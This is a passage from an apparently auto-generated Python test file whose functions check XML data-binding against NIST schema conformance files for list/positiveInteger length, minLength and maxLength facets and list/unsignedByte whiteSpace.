save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_length_nistxml_sv_iv_list_positive_integer_length_1_5(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet length with value 5.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-length-1.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-length-1-5.xml",
class_name="NistschemaSvIvListPositiveIntegerLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_min_length_4_nistxml_sv_iv_list_positive_integer_min_length_5_1(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet minLength with value
10.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-minLength-5.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-minLength-5-1.xml",
class_name="NistschemaSvIvListPositiveIntegerMinLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_min_length_4_nistxml_sv_iv_list_positive_integer_min_length_5_2(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet minLength with value
10.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-minLength-5.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-minLength-5-2.xml",
class_name="NistschemaSvIvListPositiveIntegerMinLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_min_length_4_nistxml_sv_iv_list_positive_integer_min_length_5_3(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet minLength with value
10.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-minLength-5.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-minLength-5-3.xml",
class_name="NistschemaSvIvListPositiveIntegerMinLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_min_length_4_nistxml_sv_iv_list_positive_integer_min_length_5_4(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet minLength with value
10.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-minLength-5.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-minLength-5-4.xml",
class_name="NistschemaSvIvListPositiveIntegerMinLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_min_length_4_nistxml_sv_iv_list_positive_integer_min_length_5_5(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet minLength with value
10.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-minLength-5.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-minLength-5-5.xml",
class_name="NistschemaSvIvListPositiveIntegerMinLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_min_length_3_nistxml_sv_iv_list_positive_integer_min_length_4_1(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet minLength with value
8.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-minLength-4.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-minLength-4-1.xml",
class_name="NistschemaSvIvListPositiveIntegerMinLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_min_length_3_nistxml_sv_iv_list_positive_integer_min_length_4_2(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet minLength with value
8.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-minLength-4.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-minLength-4-2.xml",
class_name="NistschemaSvIvListPositiveIntegerMinLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_min_length_3_nistxml_sv_iv_list_positive_integer_min_length_4_3(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet minLength with value
8.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-minLength-4.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-minLength-4-3.xml",
class_name="NistschemaSvIvListPositiveIntegerMinLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_min_length_3_nistxml_sv_iv_list_positive_integer_min_length_4_4(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet minLength with value
8.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-minLength-4.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-minLength-4-4.xml",
class_name="NistschemaSvIvListPositiveIntegerMinLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_min_length_3_nistxml_sv_iv_list_positive_integer_min_length_4_5(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet minLength with value
8.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-minLength-4.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-minLength-4-5.xml",
class_name="NistschemaSvIvListPositiveIntegerMinLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_min_length_2_nistxml_sv_iv_list_positive_integer_min_length_3_1(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet minLength with value
7.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-minLength-3.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-minLength-3-1.xml",
class_name="NistschemaSvIvListPositiveIntegerMinLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_min_length_2_nistxml_sv_iv_list_positive_integer_min_length_3_2(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet minLength with value
7.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-minLength-3.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-minLength-3-2.xml",
class_name="NistschemaSvIvListPositiveIntegerMinLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_min_length_2_nistxml_sv_iv_list_positive_integer_min_length_3_3(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet minLength with value
7.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-minLength-3.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-minLength-3-3.xml",
class_name="NistschemaSvIvListPositiveIntegerMinLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_min_length_2_nistxml_sv_iv_list_positive_integer_min_length_3_4(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet minLength with value
7.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-minLength-3.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-minLength-3-4.xml",
class_name="NistschemaSvIvListPositiveIntegerMinLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_min_length_2_nistxml_sv_iv_list_positive_integer_min_length_3_5(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet minLength with value
7.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-minLength-3.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-minLength-3-5.xml",
class_name="NistschemaSvIvListPositiveIntegerMinLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_min_length_1_nistxml_sv_iv_list_positive_integer_min_length_2_1(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet minLength with value
6.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-minLength-2.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-minLength-2-1.xml",
class_name="NistschemaSvIvListPositiveIntegerMinLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_min_length_1_nistxml_sv_iv_list_positive_integer_min_length_2_2(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet minLength with value
6.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-minLength-2.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-minLength-2-2.xml",
class_name="NistschemaSvIvListPositiveIntegerMinLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_min_length_1_nistxml_sv_iv_list_positive_integer_min_length_2_3(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet minLength with value
6.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-minLength-2.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-minLength-2-3.xml",
class_name="NistschemaSvIvListPositiveIntegerMinLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_min_length_1_nistxml_sv_iv_list_positive_integer_min_length_2_4(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet minLength with value
6.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-minLength-2.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-minLength-2-4.xml",
class_name="NistschemaSvIvListPositiveIntegerMinLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_min_length_1_nistxml_sv_iv_list_positive_integer_min_length_2_5(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet minLength with value
6.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-minLength-2.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-minLength-2-5.xml",
class_name="NistschemaSvIvListPositiveIntegerMinLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_min_length_nistxml_sv_iv_list_positive_integer_min_length_1_1(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet minLength with value
5.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-minLength-1.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-minLength-1-1.xml",
class_name="NistschemaSvIvListPositiveIntegerMinLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_min_length_nistxml_sv_iv_list_positive_integer_min_length_1_2(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet minLength with value
5.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-minLength-1.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-minLength-1-2.xml",
class_name="NistschemaSvIvListPositiveIntegerMinLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_min_length_nistxml_sv_iv_list_positive_integer_min_length_1_3(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet minLength with value
5.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-minLength-1.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-minLength-1-3.xml",
class_name="NistschemaSvIvListPositiveIntegerMinLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_min_length_nistxml_sv_iv_list_positive_integer_min_length_1_4(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet minLength with value
5.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-minLength-1.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-minLength-1-4.xml",
class_name="NistschemaSvIvListPositiveIntegerMinLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_min_length_nistxml_sv_iv_list_positive_integer_min_length_1_5(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet minLength with value
5.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-minLength-1.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-minLength-1-5.xml",
class_name="NistschemaSvIvListPositiveIntegerMinLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_max_length_4_nistxml_sv_iv_list_positive_integer_max_length_5_1(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet maxLength with value
10.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-maxLength-5.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-maxLength-5-1.xml",
class_name="NistschemaSvIvListPositiveIntegerMaxLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_max_length_4_nistxml_sv_iv_list_positive_integer_max_length_5_2(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet maxLength with value
10.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-maxLength-5.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-maxLength-5-2.xml",
class_name="NistschemaSvIvListPositiveIntegerMaxLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_max_length_4_nistxml_sv_iv_list_positive_integer_max_length_5_3(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet maxLength with value
10.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-maxLength-5.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-maxLength-5-3.xml",
class_name="NistschemaSvIvListPositiveIntegerMaxLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_max_length_4_nistxml_sv_iv_list_positive_integer_max_length_5_4(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet maxLength with value
10.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-maxLength-5.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-maxLength-5-4.xml",
class_name="NistschemaSvIvListPositiveIntegerMaxLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_max_length_4_nistxml_sv_iv_list_positive_integer_max_length_5_5(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet maxLength with value
10.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-maxLength-5.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-maxLength-5-5.xml",
class_name="NistschemaSvIvListPositiveIntegerMaxLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_max_length_3_nistxml_sv_iv_list_positive_integer_max_length_4_1(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet maxLength with value
8.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-maxLength-4.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-maxLength-4-1.xml",
class_name="NistschemaSvIvListPositiveIntegerMaxLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_max_length_3_nistxml_sv_iv_list_positive_integer_max_length_4_2(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet maxLength with value
8.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-maxLength-4.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-maxLength-4-2.xml",
class_name="NistschemaSvIvListPositiveIntegerMaxLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_max_length_3_nistxml_sv_iv_list_positive_integer_max_length_4_3(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet maxLength with value
8.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-maxLength-4.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-maxLength-4-3.xml",
class_name="NistschemaSvIvListPositiveIntegerMaxLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_max_length_3_nistxml_sv_iv_list_positive_integer_max_length_4_4(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet maxLength with value
8.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-maxLength-4.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-maxLength-4-4.xml",
class_name="NistschemaSvIvListPositiveIntegerMaxLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_max_length_3_nistxml_sv_iv_list_positive_integer_max_length_4_5(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet maxLength with value
8.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-maxLength-4.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-maxLength-4-5.xml",
class_name="NistschemaSvIvListPositiveIntegerMaxLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_max_length_2_nistxml_sv_iv_list_positive_integer_max_length_3_1(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet maxLength with value
7.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-maxLength-3.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-maxLength-3-1.xml",
class_name="NistschemaSvIvListPositiveIntegerMaxLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_max_length_2_nistxml_sv_iv_list_positive_integer_max_length_3_2(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet maxLength with value
7.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-maxLength-3.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-maxLength-3-2.xml",
class_name="NistschemaSvIvListPositiveIntegerMaxLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_max_length_2_nistxml_sv_iv_list_positive_integer_max_length_3_3(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet maxLength with value
7.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-maxLength-3.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-maxLength-3-3.xml",
class_name="NistschemaSvIvListPositiveIntegerMaxLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_max_length_2_nistxml_sv_iv_list_positive_integer_max_length_3_4(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet maxLength with value
7.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-maxLength-3.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-maxLength-3-4.xml",
class_name="NistschemaSvIvListPositiveIntegerMaxLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_max_length_2_nistxml_sv_iv_list_positive_integer_max_length_3_5(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet maxLength with value
7.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-maxLength-3.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-maxLength-3-5.xml",
class_name="NistschemaSvIvListPositiveIntegerMaxLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_max_length_1_nistxml_sv_iv_list_positive_integer_max_length_2_1(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet maxLength with value
6.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-maxLength-2.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-maxLength-2-1.xml",
class_name="NistschemaSvIvListPositiveIntegerMaxLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_max_length_1_nistxml_sv_iv_list_positive_integer_max_length_2_2(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet maxLength with value
6.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-maxLength-2.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-maxLength-2-2.xml",
class_name="NistschemaSvIvListPositiveIntegerMaxLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_max_length_1_nistxml_sv_iv_list_positive_integer_max_length_2_3(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet maxLength with value
6.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-maxLength-2.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-maxLength-2-3.xml",
class_name="NistschemaSvIvListPositiveIntegerMaxLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_max_length_1_nistxml_sv_iv_list_positive_integer_max_length_2_4(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet maxLength with value
6.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-maxLength-2.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-maxLength-2-4.xml",
class_name="NistschemaSvIvListPositiveIntegerMaxLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_max_length_1_nistxml_sv_iv_list_positive_integer_max_length_2_5(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet maxLength with value
6.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-maxLength-2.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-maxLength-2-5.xml",
class_name="NistschemaSvIvListPositiveIntegerMaxLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_max_length_nistxml_sv_iv_list_positive_integer_max_length_1_1(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet maxLength with value
5.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-maxLength-1.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-maxLength-1-1.xml",
class_name="NistschemaSvIvListPositiveIntegerMaxLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_max_length_nistxml_sv_iv_list_positive_integer_max_length_1_2(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet maxLength with value
5.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-maxLength-1.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-maxLength-1-2.xml",
class_name="NistschemaSvIvListPositiveIntegerMaxLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_max_length_nistxml_sv_iv_list_positive_integer_max_length_1_3(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet maxLength with value
5.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-maxLength-1.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-maxLength-1-3.xml",
class_name="NistschemaSvIvListPositiveIntegerMaxLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_max_length_nistxml_sv_iv_list_positive_integer_max_length_1_4(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet maxLength with value
5.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-maxLength-1.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-maxLength-1-4.xml",
class_name="NistschemaSvIvListPositiveIntegerMaxLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_max_length_nistxml_sv_iv_list_positive_integer_max_length_1_5(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet maxLength with value
5.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-maxLength-1.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-maxLength-1-5.xml",
class_name="NistschemaSvIvListPositiveIntegerMaxLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_white_space_nistxml_sv_iv_list_unsigned_byte_white_space_1_1(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet whiteSpace with value
collapse.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-whiteSpace-1.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-whiteSpace-1-1.xml",
class_name="NistschemaSvIvListUnsignedByteWhiteSpace1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_white_space_nistxml_sv_iv_list_unsigned_byte_white_space_1_2(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet whiteSpace with value
collapse.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-whiteSpace-1.xsd",
